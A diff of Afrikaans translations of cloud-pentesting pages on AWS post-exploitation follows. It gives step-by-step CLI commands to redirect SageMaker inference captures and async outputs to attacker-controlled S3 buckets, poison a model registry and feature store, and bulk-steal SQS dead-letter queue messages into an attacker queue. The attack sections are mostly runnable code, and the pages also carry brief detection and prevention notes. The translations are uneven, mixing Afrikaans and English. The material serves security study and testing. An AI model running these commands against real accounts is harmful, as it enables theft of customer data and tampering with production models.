- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde rekening)
|
||||
- Opsioneel (as SSE‑KMS gebruik word): `kms:Encrypt` op die gekose CMK
|
||||
- Teiken: 'n bestaande InService real‑time endpoint in dieselfde account/region
|
||||
- Doelwit: 'n bestaande InService real‑time endpoint in dieselfde rekening/streek
|
||||
|
||||
### Stappe
|
||||
1) Identifiseer 'n InService endpoint en versamel die huidige produksie-variantes
|
||||
1) Identifiseer 'n InService endpoint en versamel huidige produksie‑variante
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Berei attacker se S3-bestemming voor vir captures
|
||||
2) Berei die attacker S3-bestemming voor vir vaslegginge
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou maar DataCapture na die attacker bucket inskakel
|
||||
3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou, maar DataCapture na die attacker bucket aktiveer
|
||||
|
||||
Let wel: Gebruik eksplisiete inhoudstipes wat aan CLI-validering voldoen.
|
||||
Let wel: Gebruik eksplisiete inhoudstipes wat aan CLI-validasie voldoen.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,51 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Pas die nuwe konfigurasie toe met 'n rolling update (minimale/geen stilstand)
|
||||
4) Pas die nuwe konfigurasie toe met 'n rolling update (minimale/geen stilstandtyd)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Genereer ten minste een inferensie-aanroep (opsioneel as daar regstreekse verkeer is)
|
||||
5) Genereer ten minste een inferensie-oproep (opsioneel as daar regstreekse verkeer bestaan)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Valideer captures in die S3 van die aanvaller
|
||||
6) Valideer captures in attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impak
|
||||
- Volledige eksfiltrasie van real‑time inference versoek- en respons payloads (en metadata) vanaf die geteikende endpoint na 'n deur die aanvaller beheerde S3 bucket.
|
||||
- Geen veranderinge aan die model/container image en slegs endpoint‑vlak veranderinge nie, wat 'n stil en verborge pad vir data‑diefstal moontlik maak met minimale operasionele ontwrigting.
|
||||
- Volledige eksfiltrasie van regstreekse inference-versoek- en reaksie‑payloads (en metadata) vanaf die geteikende endpoint na 'n deur 'n aanvaller beheerde S3-bucket.
|
||||
- Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat 'n stilletjies data‑diefstalpad moontlik maak met minimale operasionele ontwrigting.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Misbruik endpoint-bestuur om asynchronous inference outputs na 'n deur die aanvaller beheerde S3 bucket om te lei deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath in te stel. Dit eksfiltreer modelvoorspellings (en enige getransformeerde insette wat deur die container ingesluit is) sonder om die model/container te wysig.
|
||||
Misbruik endpoint‑bestuur om asynchrone inference‑uitsette te herlei na 'n deur 'n aanvaller beheerde S3‑bucket deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit exfiltreer modelvoorspellings (en enige getransformeerde insette wat deur die container ingesluit is) sonder om die model/container te wysig.
|
||||
|
||||
### Vereistes
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Vermoë om te skryf na die deur die aanvaller beheerde S3 bucket (via die model execution role of 'n permissiewe bucket policy)
|
||||
- Teiken: 'n InService endpoint waar asynchronous invocations gebruik word (of sal gebruik word)
|
||||
- S3: Vermoe om te skryf na die aanvaller se S3‑bucket (via die model execution role of 'n permissiewe bucket policy)
|
||||
- Target: 'n InService endpoint waar asynchrone aanroepe gebruik word (of gaan word)
|
||||
|
||||
### Stappe
|
||||
1) Versamel die huidige ProductionVariants vanaf die teiken-endpoint
|
||||
1) Versamel die huidige ProductionVariants van die teiken‑endpoint
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daarna kan uitvoer)
|
||||
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daaraan kan uitvoer)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Kloon EndpointConfig en kaap AsyncInference-uitsette na die attacker bucket
|
||||
3) Kloon EndpointConfig and hijack AsyncInference-uitsette na die attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Trigger 'n async invocation en verifieer dat objekte in attacker S3 beland
|
||||
4) Veroorsaak 'n async-aanroep en verifieer dat voorwerpe in die aanvaller se S3 beland
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,21 +117,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impak
|
||||
- Herlei asinchrone inferensie-resultate (en foutliggame) na 'n deur die aanvaller beheerde S3, wat heimlike eksfiltrasie van voorspellinge en moontlik sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer word, moontlik maak, sonder om modelkode of image te verander en met minimale/geen stilstand nie.
|
||||
- Herlei asynchrone inference-resultate (en foutliggame) na attacker-controlled S3, wat bedekte eksfiltrasie van voorspellings en moontlik sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer word, moontlik maak, sonder om model code of image te verander en met minimale/geen stilstand nie.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
As 'n aanvaller CreateModelPackage op 'n teiken SageMaker Model Package Group kan uitvoer, kan hulle 'n nuwe modelweergawe registreer wat na 'n deur die aanvaller beheerde container image wys en dit onmiddellik as Approved merk. Baie CI/CD-pipelines ontplooi Approved modelweergawes outomaties na endpoints of training jobs, wat lei tot uitvoering van aanvallerskode onder die diens se uitvoeringrolle. Kruis-rekeningblootstelling kan vererger word deur 'n permissiewe ModelPackageGroup resource policy.
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Vereistes
|
||||
- IAM (minimum wat nodig is om 'n bestaande groep te kompromitteer): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Opsioneel (om 'n groep te skep indien een nie bestaan nie): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Lees toegang tot die verwysde ModelDataUrl (of gasheer van deur die aanvaller beheerde artefakte)
|
||||
- Teiken: 'n Model Package Group wat downstream-automatisering dophou vir Approved weergawes
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` op die teiken ModelPackageGroup
|
||||
- Opsioneel (om ’n groep te skep as een nie bestaan nie): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Lees toegang tot die verwysde ModelDataUrl (of host attacker-controlled artifacts)
|
||||
- Teiken: ’n Model Package Group wat downstream automation dophou vir Approved weergawes
|
||||
|
||||
### Stappe
|
||||
1) Stel region in en skep/vind 'n teiken Model Package Group
|
||||
1) Stel region in en skep/vind ’n teiken Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registreer 'n kwaadwillige (hier onskadelike) Goedgekeurde modelpakketweergawe wat verwys na 'n openbare AWS DLC image
|
||||
3) Registreer 'n kwaadwillige (hier onskadelike) Approved model package version wat na 'n openbare AWS DLC image verwys
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -167,12 +167,12 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impak
|
||||
- Vergiftig die Model Registry met 'n Approved-weergawe wat na attacker-controlled code verwys. Pipelines wat Approved models outomaties uitrol, kan die attacker image aflaai en uitvoer, wat kode-uitvoering onder endpoint/training-rolle tot gevolg het.
|
||||
- Met 'n permissiewe ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik cross-account geaktiveer word.
|
||||
- Vergiftig die Model Registry met 'n Approved version wat na aanvaller-beheerde code verwys. Pipelines wat Approved models outomaties deploy, kan die aanvaller-image pull en run, wat code execution onder endpoint/training roles tot gevolg het.
|
||||
- Met 'n toegeeflike ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik tussen rekeninge geaktiveer word.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore aangeskakel om lewende feature-waardes wat deur online inference gebruik word oor te skryf. In kombinasie met `sagemaker:GetRecord` kan 'n attacker sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
|
||||
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature values wat deur online inference verbruik word, oor te skryf. In kombinasie met `sagemaker:GetRecord`, kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
+22
-22
@@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference gebruik word, oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
|
||||
|
||||
## Vereistes
|
||||
## Requirements
|
||||
- Permissies: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Teiken: Feature Group met OnlineStore geaktiveer (gewoonlik as ondersteuning vir real-time inference)
|
||||
- Kompleksiteit: **LOW** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie vereis
|
||||
- Doelwit: Feature Group met OnlineStore geaktiveer (tipies ondersteunend real-time inference)
|
||||
- Kompleksiteit: **LAAG** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie benodig nie
|
||||
|
||||
## Stappe
|
||||
## Steps
|
||||
|
||||
### Verkenning
|
||||
### Rekognosering
|
||||
|
||||
1) Lys Feature Groups met OnlineStore geaktiveer
|
||||
```bash
|
||||
@@ -21,16 +21,16 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Beskryf 'n teiken Feature Group om die skema daarvan te verstaan
|
||||
2) Beskryf 'n teiken Feature Group om sy skema te verstaan
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Neem kennis van die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en alle kenmerkdefinisies. Dit is nodig om geldige rekords saam te stel.
|
||||
Let op die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en al die feature-definisies. Hierdie is nodig om geldige rekords te skep.
|
||||
|
||||
### Aanvalscenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Aanvalsscenario 1: Data Poisoning (Oorskryf bestaande rekords)
|
||||
|
||||
1) Lees die huidige legitieme rekord
|
||||
```bash
|
||||
@@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Vergiftig die rekord met kwaadwillige waardes deur die inlyn `--record`-parameter te gebruik
|
||||
2) Poison die rekord met kwaadwillige waardes deur die inline `--record` parameter te gebruik
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verifieer die vergiftigde data
|
||||
3) Verifieer die poisoned data
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impak**: ML-modelle wat hierdie kenmerk gebruik sal nou `risk_score=0.99` sien vir 'n regmatige gebruiker, wat moontlik hul transaksies of dienste kan blokkeer.
|
||||
**Impak**: ML-modelle wat hierdie feature gebruik, sal nou `risk_score=0.99` vir 'n legitieme gebruiker sien, wat moontlik hul transaksies of dienste kan blokkeer.
|
||||
|
||||
### Aanvalsscenario 2: Kwaadaardige datainspuiting (Skep Frauduleuse Rekords)
|
||||
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Inspuit heeltemal nuwe rekords met gemanipuleerde kenmerke om sekuriteitskontroles te omseil:
|
||||
Voeg heeltemal nuwe rekords met gemanipuleerde features in om sekuriteitskontroles te omseil:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -84,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Verifieer the injection:
|
||||
Verifieer die injection:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impak**: Aanvaller skep 'n vals identiteit met 'n lae risikoscore (0.01) wat hoë-waarde bedrieglike transaksies kan uitvoer sonder om fraudedeteksie te aktiveer.
|
||||
**Impact**: Attacker skep 'n vals identiteit met 'n lae risikoscore (0.01) wat hoë-waarde bedrieglike transaksies kan uitvoer sonder om fraud detection te aktiveer.
|
||||
|
||||
### Aanvalsscenario 3: Gevoelige data-ekfiltrasie
|
||||
### Attack Scenario 3: Sensitive Data Exfiltration
|
||||
|
||||
Lees verskeie rekords om vertroulike kenmerke uit te haal en die model se gedrag te profiel:
|
||||
Lees verskeie rekords om vertroulike kenmerke uit te trek en modelgedrag te profileer:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impact**: Vertroulike kenmerke (risiko-tellings, transaksiepatrone, persoonlike data) blootgestel aan die aanvaller.
|
||||
**Impak**: Konfidensiële kenmerke (risiko-tellings, transaksiepatrone, persoonlike data) blootgestel aan 'n aanvaller.
|
||||
|
||||
### Toets/Demo Feature Group Skepping (Opsioneel)
|
||||
### Toets/Demo Feature Group Skep (Opsioneel)
|
||||
|
||||
Indien jy 'n toets Feature Group moet skep:
|
||||
```bash
|
||||
@@ -144,5 +144,5 @@ fi
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Verwysings
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
- [AWS SageMaker Feature Store Dokumentasie](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Sekuriteit — Beste praktyke](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+40
-40
@@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Beskrywing
|
||||
## Description
|
||||
|
||||
Misbruik SQS message move tasks om alle opgehoopte boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur dit na 'n deur die aanvaller beheerde queue om te lei met `sqs:StartMessageMoveTask`. Hierdie tegniek benut AWS se wettige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop is, te exfiltreer.
|
||||
Misbruik SQS message move tasks om alle opgehoopte boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur hulle na 'n deur die aanvaller-beheerde queue te herlei met `sqs:StartMessageMoveTask`. Hierdie tegniek misbruik AWS se wettige message recovery-funksie om sensitiewe data wat oor tyd in DLQs opgebou het te exfiltrate.
|
||||
|
||||
## Wat is 'n Dead-Letter Queue (DLQ)?
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
'n Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk kon word nie. Hierdie mislukte boodskappe bevat dikwels:
|
||||
'n Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk kan word nie. Hierdie mislukte boodskappe bevat dikwels:
|
||||
- Sensitiewe toepassingsdata wat nie verwerk kon word nie
|
||||
- Foutbesonderhede en ontfouting-inligting
|
||||
- Foutbesonderhede en debug-inligting
|
||||
- Persoonlik identifiseerbare inligting (PII)
|
||||
- API-tokens, inlogbewyse, of ander geheime
|
||||
- Sakekritiese transaksiedata
|
||||
- API-tokens, geloofsbriewe, of ander geheime
|
||||
- Besigheidskritieke transaksiedata
|
||||
|
||||
DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat dit waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.
|
||||
DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevol maak aangesien sensitiwiteit oor tyd kan ophoop wanneer toepassings dit nie behoorlik hanteer nie.
|
||||
|
||||
## Aanvalscenario
|
||||
## Attack Scenario
|
||||
|
||||
**Werklike voorbeeld:**
|
||||
1. **E-commerce-toepassing** verwerk kliëntbestellings via SQS
|
||||
2. **Sommige bestellings misluk** (betaalprobleme, voorraadprobleme, ens.) en word na 'n DLQ geskuif
|
||||
3. **DLQ bou op** weke/maande se mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Aanvaller verkry toegang** tot AWS-credentials met SQS-toestemmings
|
||||
1. **E-commerce application** verwerk kliëntbestellings deur SQS
|
||||
2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif
|
||||
3. **DLQ ophoop** weke/maande van mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Aanvaller kry toegang** tot AWS-credentials met SQS-magsinknisse
|
||||
5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
|
||||
6. **In plaas daarvan om te probeer individuele boodskappe te bereik** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in bondels na hul eie queue oor te dra
|
||||
6. **In plaas daarvan om individuele boodskappe te probeer toegang** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in bulk na hul eie queue oor te dra
|
||||
7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie
|
||||
|
||||
## Vereistes
|
||||
- Die bron-queue moet gekonfigureer wees as 'n DLQ (verwys deur ten minste een queue RedrivePolicy).
|
||||
- IAM-magtigings (uitgevoer as die gekompromitteerde slagoffer-prinsipaal):
|
||||
- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Op bestemming-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` vanaf die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
|
||||
- Indien SSE-KMS geaktiveer is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
## Requirements
|
||||
- Die bron-queue moet as 'n DLQ gekonfigureer wees (verwys deur ten minste een queue RedrivePolicy).
|
||||
- IAM-regte (gedoen as die gekompromitteerde slagoffer-prinsipaal):
|
||||
- Op die DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Op die bestemming-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` van die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
|
||||
- As SSE-KMS aangeskakel is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impak
|
||||
Exfiltreer sensitiewe payloads wat in DLQs opgehoop is (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed met behulp van inheemse SQS APIs. Werk oor rekeninge heen as die bestemming-queue beleid `SendMessage` vanaf die slagoffer-prinsipaal toelaat.
|
||||
## Impact
|
||||
Exfiltrate sensitiewe payloads wat in DLQs opgehoop is (mislukte events, PII, tokens, toepassingspayloads) met hoë spoed deur die inheemse SQS APIs. Werk cross-account as die bestemming-queue policy `SendMessage` vanaf die slagoffer-prinsipaal toelaat.
|
||||
|
||||
## Hoe om dit te misbruik
|
||||
## How to Abuse
|
||||
|
||||
- Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as 'n DLQ deur 'n queue verwys word (enige queue is goed).
|
||||
- Skep of kies 'n deur die aanvaller beheerde bestemming-queue en kry sy ARN.
|
||||
- Begin 'n message move task vanaf die slagoffer DLQ na jou bestemming-queue.
|
||||
- Identifiseer die slagoffer DLQ ARN en verseker dit word werklik as 'n DLQ verwys deur 'n ander queue (enige queue is voldoende).
|
||||
- Skep of kies 'n deur die aanvaller-beheerde bestemming-queue en kry sy ARN.
|
||||
- Begin 'n message move task van die slagoffer DLQ na jou bestemming-queue.
|
||||
- Monitor vordering of kanselleer indien nodig.
|
||||
|
||||
### CLI Voorbeeld: Exfiltrasie van kliëntdata vanaf e-handel DLQ
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-commerce-toepassing SQS met 'n DLQ gebruik wat mislukte kliëntbestellings bevat.
|
||||
**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-commerce-toepassing SQS gebruik met 'n DLQ wat mislukte kliëntbestellingsverwerkingspogings bevat.
|
||||
|
||||
1) **Ontdek en ondersoek die slagoffer DLQ**
|
||||
1) **Ontdek en ondersoek die slagoffer se DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Skep attacker-controlled bestemming-queue**
|
||||
2) **Skep aanvaller-beheerde bestemmingswaglys**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Voer die massale boodskapdiefstal uit**
|
||||
3) **Voer die bulk message theft uit**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Oes die gesteelde sensitiewe data**
|
||||
4) **Versamel die gesteelde gevoelige data**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -116,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Kruis-rekening notas
|
||||
- Die bestemmings-queue moet 'n hulpbronbeleid hê wat die victim principal toelaat om `sqs:SendMessage` (en, as dit gebruik word, KMS grants/permissions).
|
||||
- Die bestemmings-queue moet 'n resource policy hê wat die slagoffer-prinsipaal toelaat om `sqs:SendMessage` (en, indien gebruik, KMS-toekennings/toestemmings).
|
||||
|
||||
## Waarom hierdie aanval effektief is
|
||||
## Waarom hierdie aanval doeltreffend is
|
||||
|
||||
1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor
|
||||
2. **Grootmaat-operasie**: Dra duisende boodskappe vinnig oor in plaas van stadige individuele toegang
|
||||
2. **Grootskaalse bewerking**: Dra duisende boodskappe vinnig oor in plaas van stadige individuele toegang
|
||||
3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande
|
||||
4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie
|
||||
5. **Kruis-rekening-vaardig**: Kan exfiltrate na attacker se eie AWS-rekening indien permissies dit toelaat
|
||||
5. **Kruis-rekening vermoë**: Kan exfiltrate na die aanvaller se eie AWS-rekening indien toestemmings dit toelaat
|
||||
|
||||
## Opsporing en voorkoming
|
||||
|
||||
@@ -145,10 +145,10 @@ Monitor CloudTrail vir verdagte `StartMessageMoveTask` API-oproepe:
|
||||
}
|
||||
```
|
||||
### Voorkoming
|
||||
1. **Minimale voorreg**: Beperk `sqs:StartMessageMoveTask` toestemmings tot slegs die nodige rolle
|
||||
2. **Moniteer DLQs**: Stel CloudWatch alarms op vir ongewone DLQ-aktiwiteit
|
||||
3. **Cross-account-beleide**: Hersien SQS queue policies wat cross-account toegang toelaat
|
||||
1. **Minimale voorregte**: Beperk `sqs:StartMessageMoveTask`-toestemmings slegs tot die nodige rolle
|
||||
2. **Moniteer DLQs**: Stel CloudWatch-waarskuwings in vir ongewone DLQ-aktiwiteit
|
||||
